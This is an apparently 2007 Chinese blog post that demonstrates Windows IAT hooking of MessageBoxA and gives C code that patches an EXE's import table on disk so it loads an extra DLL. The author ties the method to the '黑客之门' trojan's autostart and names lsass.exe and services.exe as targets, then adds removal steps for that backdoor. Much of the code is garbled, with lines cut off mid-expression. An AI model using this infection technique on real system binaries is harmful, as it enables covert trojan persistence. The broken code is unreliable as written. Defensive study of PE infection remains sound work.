修改IAT,HOOK API

2007年08月16日 09:30:00

//
//write by Gxter
//
//本程序是用寻找并修改(Improt Address Table)的方法来实现HOOK一个API函数

#include >windows.h<
#include >stdio.h<
#include >tchar.h<

#define UNICODE
#define _UNICODE


PIMAGE_DOS_HEADER pDosHeader;
PIMAGE_NT_HEADERS pNTHeaders;
PIMAGE_OPTIONAL_HEADER pOptHeader;
PIMAGE_IMPORT_DESCRIPTOR pImportDescriptor;
PIMAGE_THUNK_DATA pThunkData;
PIMAGE_IMPORT_BY_NAME pImportByName;
HMODULE hMod;

int * addr = (int *)MessageBoxA; //保存函数的入口地址
// 定义MessageBoxA函数原型
typedef int (WINAPI *PFNMESSAGEBOX)(HWND, LPCSTR, LPCSTR, UINT uType);
int WINAPI MessageBoxProxy(IN HWND hWnd, IN LPCSTR lpText, IN LPCSTR lpCaption, IN UINT uType);

int * myaddr = (int *)MessageBoxProxy;

int main()
{
//OutputDebugString(_T("start !"));
MessageBoxA(NULL, "原函数", "09HookDemo", 0);

//-------------HOOK部分
hMod = GetModuleHandle(NULL);

pDosHeader = (PIMAGE_DOS_HEADER)hMod;
pNTHeaders = (PIMAGE_NT_HEADERS)((BYTE *)hMod + pDosHeader-
pOptHeader = (PIMAGE_OPTIONAL_HEADER)&(pNTHeaders-

pImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)((BYTE *)hMod + pOptHeader-

while(pImportDescriptor-
{
char * dllname = (char *)((BYTE *)hMod + pImportDescriptor-
//printf("函数模块:%s/n",dllname);

pThunkData = (PIMAGE_THUNK_DATA)((BYTE *)hMod + pImportDescriptor-

int no = 1;
while(pThunkData-
{
char * funname = (char *)((BYTE *)hMod + (DWORD)pThunkData- PDWORD lpAddr = (DWORD *)((BYTE *)hMod + (DWORD)pImportDescriptor-
//printf("%4d: ",no);
//printf("%30s",funname);
//printf("%8x/n",lpAddr);
//printf("%8x/n",*lpAddr);
//修改内存的部分
if((*lpAddr) == (int)addr)
{
//修改内存页的属性
DWORD dwOLD;
MEMORY_BASIC_INFORMATION mbi;
VirtualQuery(lpAddr,&mbi,sizeof(mbi));
VirtualProtect(lpAddr,sizeof(DWORD),PAGE_READWRITE,&dwOLD);
//写内存
WriteProcessMemory(GetCurrentProcess(),
lpAddr, &myaddr, sizeof(DWORD), NULL);
//恢复内存页的属性
VirtualProtect(lpAddr,sizeof(DWORD),dwOLD,0);
}
//---------
no++;
pThunkData++;
}

pImportDescriptor++;
}

//用于测试的API函数
MessageBoxA(NULL, "原函数", "09HookDemo", 0);

getchar();
return 0;
}

int WINAPI MessageBoxProxy(IN HWND hWnd, IN LPCSTR lpText, IN LPCSTR lpCaption, IN UINT uType)
{
return ((PFNMESSAGEBOX)addr)(NULL, "Gxter", "Gxter", 0);
//用地址调用一个API函数
}

关于修改EXE文件的导入表,实际上是一个很古老的话题了(如果您是此中高手,请不要在这篇文章浪费时间了,如果您发现了其中的问题,还请多多指教).一些PE相关的软件,也都实现了这样的功能,例如Stud_PE.
Stud_PE通过添加一个新节并将导入表连同添加的内容一并复制到新节的方法来实现对DLL的导入.
使用这样的方法只要是PE格式的EXE文件,都可以实现导入DLL的功能,但此方法,实现了通用性,却增加了文件的大小.
对于存放在磁盘上PE文件,其中存在着大量的空隙,我们知道PE中的数据是按照一定的文件对齐来组织.IMAGE_OPTIONAL_HEADER结构中的FileAlignment成员保存着文件对齐的大小,这个成员是在链接的时候由链接器指定,如果使用VC来编写程序,可以使用link中的 /filealign来调整文件对齐的大小.
这里,就是利用这些空隙来使EXE在启动时载入DLL(类似于一些病毒的技术),同时并不改变文件的大小.如何实现?还是要修改导入表.然而这种方法的缺点也是很明显的,并不是每个EXE都有足够的空间让我们来插入数据,按照我的测试,在 Windows 2003 Enterprise sp1中,lsass.exe以及services.exe都是有足够的空间进行插入,而在 Windows 2000 Advance Server sp4中,lsass.exe无法插入,services.exe可以插入.这些EXE文件的 FileAlignment为0x200H.为什么选择这些exe文件?说到这里我的意图已经很明显了,黑客之门便是利用这种方法实现自启动的木马.
上面说了堆废话,现在直接贴上代码,具体实现请见程序的注释.这里假定您对PE格式有一定的了解.

//
// Copy from Matt Pietrek
// Given an RVA, look up the section header that encloses it and return a
// pointer to its IMAGE_SECTION_HEADER
//
PIMAGE_SECTION_HEADER
GetEnclosingSectionHeader(
DWORD rva,
PIMAGE_NT_HEADERS pNTHeader
)
{
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION32(pNTHeader);
unsigned i;

for ( i=0; i > pNTHeader- {
// Is the RVA within this section?
if ( (rva <= section- (rva > (section- return section;
}

return 0;
}


int
AddImportDll(
HANDLE hFile,
DWORD dwBase,
PIMAGE_NT_HEADERS pNTHeader
)
{
//
// 通过OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress
// 获得导入表的RVA, 利用此RVA找到ImportTable所在的Section,之后计算Offset,公式:
// Offset = (INT)(pSection- // 之后利用Offset来定位文件中ImportTable的位置.
//
PIMAGE_IMPORT_DESCRIPTOR pImportDesc = 0;
PIMAGE_SECTION_HEADER pSection = 0;
PIMAGE_THUNK_DATA pThunk, pThunkIAT = 0;
int Offset = -1;

pSection = GetEnclosingSectionHeader(
pNTHeader-
[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress,
pNTHeader);
if(!pSection)
{
fprintf(stderr, "No Import Table../n");
return -1;
}

Offset = (int) (pSection-
//
// 计算ImportTable在文件中的位置
//
pImportDesc =
(PIMAGE_IMPORT_DESCRIPTOR)(pNTHeader-
[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress - Offset + dwBase);

//
// 取出导入的DLL的个数
//
int nImportDllCount = 0;
while(1)
{
if ((pImportDesc- break;
pThunk = (PIMAGE_THUNK_DATA)(pImportDesc-
pThunkIAT = (PIMAGE_THUNK_DATA)(pImportDesc-

if(pThunk == 0 && pThunkIAT == 0)
return -1;

nImportDllCount++;
pImportDesc++;
}

//
// 恢复pImportDesc的值,方便下面的复制当前导入表的操作.
//
pImportDesc -= nImportDllCount;

//
// 取得ImportTable所在Section的RawData在文件中的末尾地址,计算公式:
// dwOrigEndOfRawDataAddr = pSection- //
DWORD dwEndOfRawDataAddr = pSection-
PIMAGE_IMPORT_DESCRIPTOR pImportDescVector =
(PIMAGE_IMPORT_DESCRIPTOR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 20 * (nImportDllCount+1));
if(pImportDescVector == NULL)
{
fprintf(stderr, "HeapAlloc() failed. --err: %d/n", GetLastError());
return -1;
}
CopyMemory(pImportDescVector+1, pImportDesc, 20*nImportDllCount);


//
// 构造添加数据的结构,方法笨拙了点.
//
struct _Add_Data
{
char szDllName[256]; // 导入DLL的名字
int nDllNameLen; // 实际填充的名字的长度
WORD Hint; // 导入函数的Hint
char szFuncName[256]; // 导入函数的名字
int nFuncNameLen; // 导入函数名字的实际长度
int nTotal; // 填充的总长度
} Add_Data;
const char szDll[256] = "test.dll";
const char szFunc[256] = "Startup";
strcpy(Add_Data.szDllName, szDll);
strcpy(Add_Data.szFuncName, szFunc);

//
// +1表示'/0'字符
//
Add_Data.nDllNameLen = strlen(Add_Data.szDllName) + 1;
Add_Data.nFuncNameLen = strlen(Add_Data.szFuncName) + 1;
Add_Data.Hint = 0;
//
// 计算总的填充字节数
//
Add_Data.nTotal = Add_Data.nDllNameLen + sizeof(WORD) + Add_Data.nFuncNameLen;

//
// 检查ImportTable所在的Section中的剩余空间是否能够容纳新的ImportTable.
// 未对齐前RawData所占用的空间存放在pSection-
// 原长度进行比较.
//
// nTotalLen 为新添加内容的总长度
// Add_Data.nTotal 为添加的DLL名称,Hint与导入函数的名字的总长度.
// 8 为IMAGE_IMPORT_BY_NAME结构以及保留空的长度.
// 20*(nImportDllCount+1) 为新的ImportTable的长度.
//
int nTotalLen = Add_Data.nTotal + 8 + 20*(nImportDllCount+1);
printf("TotalLen: %d byte(s)/n", nTotalLen);
if(pSection- {
fprintf(stderr, "No enough space!/n");
return -1;
}

IMAGE_IMPORT_DESCRIPTOR Add_ImportDesc;
//
// ThunkData结构的地址
//
Add_ImportDesc.Characteristics = dwEndOfRawDataAddr + Add_Data.nTotal + Offset;
Add_ImportDesc.TimeDateStamp = -1;
Add_ImportDesc.ForwarderChain = -1;
//
// DLL名字的RVA
//
Add_ImportDesc.Name = dwEndOfRawDataAddr + Offset;
Add_ImportDesc.FirstThunk = Add_ImportDesc.Characteristics;

CopyMemory(pImportDescVector, &Add_ImportDesc, 20);

//
// 对文件进行修改
//
DWORD dwBytesWritten = 0;
DWORD dwBuffer = dwEndOfRawDataAddr + Offset + Add_Data.nTotal + 8;
long lDistanceToMove = (long)&(pNTHeader-
[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress) - dwBase;
int nRet =0;

//
// 修改IMAGE_DIRECTOR_ENTRY_IMPORT中VirtualAddress的地址,
// 使其指向新的导入表的位置
//
SetFilePointer(hFile, lDistanceToMove, NULL, FILE_BEGIN);

printf("OrigEntryImport: %x/n", pNTHeader-
nRet = WriteFile(hFile, (PVOID)&dwBuffer, 4, &dwBytesWritten, NULL);
if(!nRet)
{
fprintf(stderr, "WriteFile(ENTRY_IMPORT) failed. --err: %d/n", GetLastError());
return -1;
}
printf("NewEntryImport: %x/n", pNTHeader-
//
// 修改导入表长度,这个部分具体要修改为多少我也没弄明白,不过按照测试,改与不改都可以工作
//
dwBuffer = pNTHeader-
[IMAGE_DIRECTORY_ENTRY_IMPORT].Size + 40;
nRet = WriteFile(hFile, (PVOID)&dwBuffer, 4, &dwBytesWritten, NULL);
if(!nRet)
{
fprintf(stderr, "WriteFile(Entry_import.size) failed. --err: %d/n", GetLastError());
return -1;
}

//
// 修改ImportTable所在节的长度
//
lDistanceToMove = (long)&(pSection- SetFilePointer(hFile, lDistanceToMove, NULL, FILE_BEGIN);
dwBuffer = pSection- nRet = WriteFile(hFile, (PVOID)&dwBuffer, 4, &dwBytesWritten, NULL);
if(!nRet)
{
fprintf(stderr, "WriteFile(Misc.VirtualSize) failed. --err: %d/n", GetLastError());
return -1;
}

//
// 从节的末尾添加新的DLL内容
// 偷点懒,返回值就不检查了..
//
lDistanceToMove = dwEndOfRawDataAddr;
SetFilePointer(hFile, lDistanceToMove, NULL, FILE_BEGIN);
nRet = WriteFile(hFile, Add_Data.szDllName, Add_Data.nDllNameLen, &dwBytesWritten, NULL);
nRet = WriteFile(hFile, (LPVOID)&(Add_Data.Hint), sizeof(WORD), &dwBytesWritten, NULL);
nRet = WriteFile(hFile, Add_Data.szFuncName, Add_Data.nFuncNameLen, &dwBytesWritten, NULL);
dwBuffer = dwEndOfRawDataAddr + Add_Data.nDllNameLen + Offset;
nRet = WriteFile(hFile, (LPVOID)&dwBuffer, 4, &dwBytesWritten, NULL);
dwBuffer = 0;
nRet = WriteFile(hFile, (LPVOID)&dwBuffer, 4, &dwBytesWritten, NULL);
nRet = WriteFile(hFile, (LPVOID)pImportDescVector, 20*(nImportDllCount+1), &dwBytesWritten, NULL);

HeapFree(GetProcessHeap(), 0, pImportDescVector);
return 0;
}


下面是测试用的DLL代码.

#include >windows.h<
#pragma comment(lib, "user32")

#define __DLL_EXPORT extern "C" __declspec(dllexport)

__DLL_EXPORT void Startup();

BOOL
WINAPI DllMain(
HINSTANCE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved
)
{
switch(fdwReason)
{
case DLL_PROCESS_ATTACH:
MessageBox(NULL, "Hook Ok!", "info", MB_OK);
break;

case DLL_THREAD_ATTACH:
break;

case DLL_PROCESS_DETACH:
break;

case DLL_THREAD_DETACH:
break;
}

return TRUE;
}


__DLL_EXPORT void
Startup()
{
MessageBox(NULL, "Startup()", "info", MB_OK);
}


这段代码还有些问题,一些EXE文件并不能保证在修改后正确的运行,如何解决?如果您对此感兴趣,请动手来寻找答案吧.
说点题外话,如果您的系统不幸中了黑客之门,并且您的手头没有windows安装光盘或者DLLCACHE中也没有备份的话.首先要找到被修改的exe文件,之后建立一个备份用Stud_PE打开这个备份,在"头部"标签中"更多"下拉菜单中选IMAGE_DIR_ENTRY_DEBUG,这时,下拉菜单下面的两个对话框中会有两个值,这两个值就是黑可之门修改之前原始的导入表的位置.用这两个值替换"导入表"后面的内容,之后选"保存到文件",退出 Stud_PE用inuse替换,重启之后删除后门dll便可以了.

使用工具:
hkdoordll.dll(1.1版本)
Stud_PE 2.0.0.1
dumpbin.exe

参考资料:
《Windows 95 System programming SECRETS (中译本



Trackback: http://tb.blog.csdn.net/TrackBack.aspx?PostId=1745954


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值